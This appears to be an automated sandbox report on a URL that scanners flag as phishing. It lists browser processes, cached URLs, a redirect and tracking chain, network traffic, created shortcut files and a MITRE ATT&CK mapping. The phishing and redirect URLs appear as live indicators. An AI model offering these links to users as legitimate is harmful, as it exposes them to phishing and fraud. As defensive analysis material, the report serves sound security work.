Edit tour

Windows Analysis Report
http://simxtrackredirecttszz.pages.dev/

Overview

General Information

Sample URL:	http://simxtrackredirecttszz.pages.dev/
Analysis ID:	1446908
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious javascript

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=2028,i,8292762305425428644,7564485751747783064,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://simxtrackredirecttszz.pages.dev/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-179148962-2&cid=343168255.1716504726&jid=1258097187&gjid=971496842&_gid=1698602312.1716504726&_u=YEBAAEAAAAAAACAAI~&z=1890898182 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plainAccept: */*Origin: https://secretsafedomain.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://secretsafedomain.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: http://fauzi3.ngelit.com
Source: chromecache_142.2.dr	String found in binary or memory: http://getbootstrap.com)
Source: chromecache_142.2.dr	String found in binary or memory: http://getbootstrap.com/customize/?id=92d2ac1b31978642b6b6)
Source: chromecache_124.2.dr	String found in binary or memory: http://parking.parklogic.com/page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=$
Source: chromecache_117.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: chromecache_117.2.dr	String found in binary or memory: https://adservice.googlesyndication.com/pagead/regclk
Source: chromecache_112.2.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_114.2.dr, chromecache_117.2.dr, chromecache_119.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmp-assets.com/assets/1373/other/favicon.ico
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmp-assets.com/assets/1387/js/backoffer.js
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmp-assets.com/assets/1714/js/jquery.min.js
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmp-assets.com/assets/2246/css/age-styles-new.css
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmp-assets.com/assets/2843/css/main.css
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmp-assets.com/devassets/3198/js/multilang_main_gender.js
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmp-assets.com/prod/push-lang-config.js
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmp-assets.com/prod/push-subscriber.js
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmpcdn.com/assets/3420/images/1.ico
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmpcdn.com/assets/3420/images/2.ico
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmpcdn.com/assets/3420/images/3.ico
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmpcdn.com/assets/3420/images/4.ico
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmpcdn.com/assets/3420/images/5.ico
Source: chromecache_151.2.dr	String found in binary or memory: https://cdn.jmpcdn.com/assets/3420/images/6.ico
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap-icons
Source: chromecache_116.2.dr	String found in binary or memory: https://cdn.smrt-content.com/prod
Source: chromecache_151.2.dr	String found in binary or memory: https://cloudflrcdn.com/color?x=1&forScheme=
Source: chromecache_154.2.dr, chromecache_106.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=
Source: chromecache_156.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Montserrat:400
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: chromecache_158.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2)
Source: chromecache_158.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2)
Source: chromecache_158.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2)
Source: chromecache_158.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2)
Source: chromecache_158.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2)
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2)
Source: chromecache_142.2.dr	String found in binary or memory: https://gist.github.com/92d2ac1b31978642b6b6
Source: chromecache_142.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_111.2.dr	String found in binary or memory: https://osx.telegram.org/updates/site/artboard.png)
Source: chromecache_111.2.dr	String found in binary or memory: https://osx.telegram.org/updates/site/artboard_2x.png);
Source: chromecache_117.2.dr, chromecache_119.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_154.2.dr, chromecache_114.2.dr, chromecache_117.2.dr, chromecache_119.2.dr, chromecache_106.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_154.2.dr, chromecache_106.2.dr	String found in binary or memory: https://partner.googleadservices.com/gampad/cookie.js
Source: chromecache_151.2.dr	String found in binary or memory: https://secretsafedomain.com/s?a=81528&sm=235&s=8&sbp=1&spt=1716504721184&co=112356&mt=16&rc=71_1969
Source: chromecache_151.2.dr	String found in binary or memory: https://secretsafedomain.com/s?a=81528&sm=235&s=8&sso=1&spt=1716504721184&co=112356&mt=16&rc=71_1969
Source: chromecache_151.2.dr	String found in binary or memory: https://secretsafedomain.com/smclick?a=81528&c=342883&o=135901&oc=216576&co=112356&mt=16&svi=EwBjNDF
Source: chromecache_110.2.dr	String found in binary or memory: https://simxtrack.com/tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ
Source: chromecache_116.2.dr	String found in binary or memory: https://statisticresearch.com/match?p=PS&adxguid=
Source: chromecache_151.2.dr	String found in binary or memory: https://statisticresearch.com/user-segments/?pid=TH
Source: chromecache_117.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_112.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: chromecache_154.2.dr, chromecache_106.2.dr	String found in binary or memory: https://syndicatedsearch.goog
Source: chromecache_112.2.dr	String found in binary or memory: https://tagassistant.google.com/
Source: chromecache_114.2.dr, chromecache_117.2.dr, chromecache_119.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://telegram.org/css/bootstrap.min.css?3
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://telegram.org/css/telegram.css?227
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://telegram.org/img/apple-touch-icon.png
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://telegram.org/img/favicon-16x16.png
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://telegram.org/img/favicon-32x32.png
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://telegram.org/img/favicon.ico
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://telegram.org/img/website_icon.svg?4
Source: chromecache_123.2.dr, chromecache_110.2.dr	String found in binary or memory: https://telegram.org/js/tgwallpaper.min.js?3
Source: chromecache_116.2.dr, chromecache_160.2.dr	String found in binary or memory: https://theseoffersforyou.com
Source: chromecache_114.2.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_112.2.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_112.2.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_112.2.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_117.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_112.2.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_114.2.dr, chromecache_117.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_154.2.dr, chromecache_106.2.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion/16521530460/?gad_source=1&adview_type=3
Source: chromecache_114.2.dr, chromecache_117.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_112.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_151.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: chromecache_151.2.dr	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-TR8VQRX
Source: chromecache_151.2.dr, chromecache_160.2.dr	String found in binary or memory: https://www.gstatic.com/firebasejs/5.0.2/firebase-app.js
Source: chromecache_151.2.dr, chromecache_160.2.dr	String found in binary or memory: https://www.gstatic.com/firebasejs/5.0.2/firebase-messaging.js
Source: chromecache_117.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_117.2.dr	String found in binary or memory: https://www.youtube.com/iframe_api

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.211.8.90:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.8.90:443 -> 192.168.2.5:49728 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@23/115@66/26

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=2028,i,8292762305425428644,7564485751747783064,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://simxtrackredirecttszz.pages.dev/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=2028,i,8292762305425428644,7564485751747783064,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://simxtrackredirecttszz.pages.dev/	100%	Avira URL Cloud	phishing
http://simxtrackredirecttszz.pages.dev/	100%	SlashNext	Fraudulent Website type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://stats.g.doubleclick.net/g/collect	0%	URL Reputation	safe
https://syndicatedsearch.goog	0%	URL Reputation	safe
https://ampcid.google.com/v1/publisher:getClientId	0%	URL Reputation	safe
http://d38psrni17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/arrows.png	0%	URL Reputation	safe
https://www.youtube.com/iframe_api	0%	URL Reputation	safe
https://stats.g.doubleclick.net/j/collect	0%	URL Reputation	safe
https://tagassistant.google.com/	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe
https://www.google.%/ads/ga-audiences	0%	URL Reputation	safe
https://td.doubleclick.net	0%	URL Reputation	safe
https://www.merchant-center-analytics.goog	0%	URL Reputation	safe
https://telegram.org/css/bootstrap.min.css?3	0%	Avira URL Cloud	safe
https://osx.telegram.org/updates/site/artboard.png)	0%	Avira URL Cloud	safe
http://ww12.ngelit.com/favicon.ico	0%	Avira URL Cloud	safe
https://telegram.org/img/favicon.ico	0%	Avira URL Cloud	safe
https://www.google.com/adsense/domains/caf.js?abp=1&adsdeli=true	0%	Avira URL Cloud	safe
https://cdn.jmp-assets.com/devassets/3198/js/multilang_main_gender.js	0%	Avira URL Cloud	safe
https://www.adsensecustomsearchads.com/afs/gen_204?client=dp-teaminternet09_3ph&output=uds_ads_only&zx=vhf3wk3421c2&aqid=oMhPZvCxD6uijuwPiPui6Qk&psid=7840396037&pbt=bv&adbx=375&adby=93&adbh=496&adbw=530&adbah=160%2C160%2C160&adbn=master-1&eawp=partner-dp-teaminternet09_3ph&errv=635538657&csala=7%7C0%7C1139%7C1372%7C276&lle=0&ifv=1&hpt=1&wbd=false	0%	Avira URL Cloud	safe
https://telegram.org/css/telegram.css?227	0%	Avira URL Cloud	safe
https://gist.github.com/92d2ac1b31978642b6b6	0%	Avira URL Cloud	safe
https://telegram.org/img/tgme/pattern.svg?1	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://cloudflrcdn.com/color?x=1&forScheme=aHR0cHM6Ly9zZWNyZXRzYWZlZG9tYWluLmNvbS9zP2E9ODE1Mjgmc209MjM1JmNvPTExMjM1NiZtdD0xNiZzMT1FVk9TX1RBWlomczI9NTc2NzQ3	0%	Avira URL Cloud	safe
http://getbootstrap.com)	0%	Avira URL Cloud	safe
https://telegram.org/js/tgwallpaper.min.js?3	0%	Avira URL Cloud	safe
http://ww12.ngelit.com/ls.php?t=664fc89c&token=dda1e75f0c57350d2d7f28c09d9ec469c70db1b0	0%	Avira URL Cloud	safe
https://stats.g.doubleclick.net/j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-179148962-2&cid=343168255.1716504726&jid=1258097187&gjid=971496842&_gid=1698602312.1716504726&_u=YEBAAEAAAAAAACAAI~&z=1890898182	0%	Avira URL Cloud	safe
https://theseoffersforyou.com	0%	Avira URL Cloud	safe
https://cdn.jmpcdn.com/assets/3420/images/6.ico	0%	Avira URL Cloud	safe
https://cdn.jmp-assets.com/assets/1714/js/jquery.min.js	0%	Avira URL Cloud	safe
http://fauzi3.ngelit.com/	0%	Avira URL Cloud	safe
https://osx.telegram.org/updates/site/artboard_2x.png);	0%	Avira URL Cloud	safe
https://cdn.jmpcdn.com/assets/3420/images/5.ico	0%	Avira URL Cloud	safe
https://cdn.jmpcdn.com/assets/3420/images/4.ico	0%	Avira URL Cloud	safe
https://afs.googleusercontent.com/ad_icons/standard/publisher_icon_image/chevron.svg?c=%23ffffff	0%	Avira URL Cloud	safe
https://telegram.org/img/favicon-32x32.png	0%	Avira URL Cloud	safe
https://telegram.org/img/website_icon.svg?4	0%	Avira URL Cloud	safe
https://telegram.org/img/favicon-16x16.png	0%	Avira URL Cloud	safe
https://cdn.jmp-assets.com/assets/2246/css/age-styles-new.css	0%	Avira URL Cloud	safe
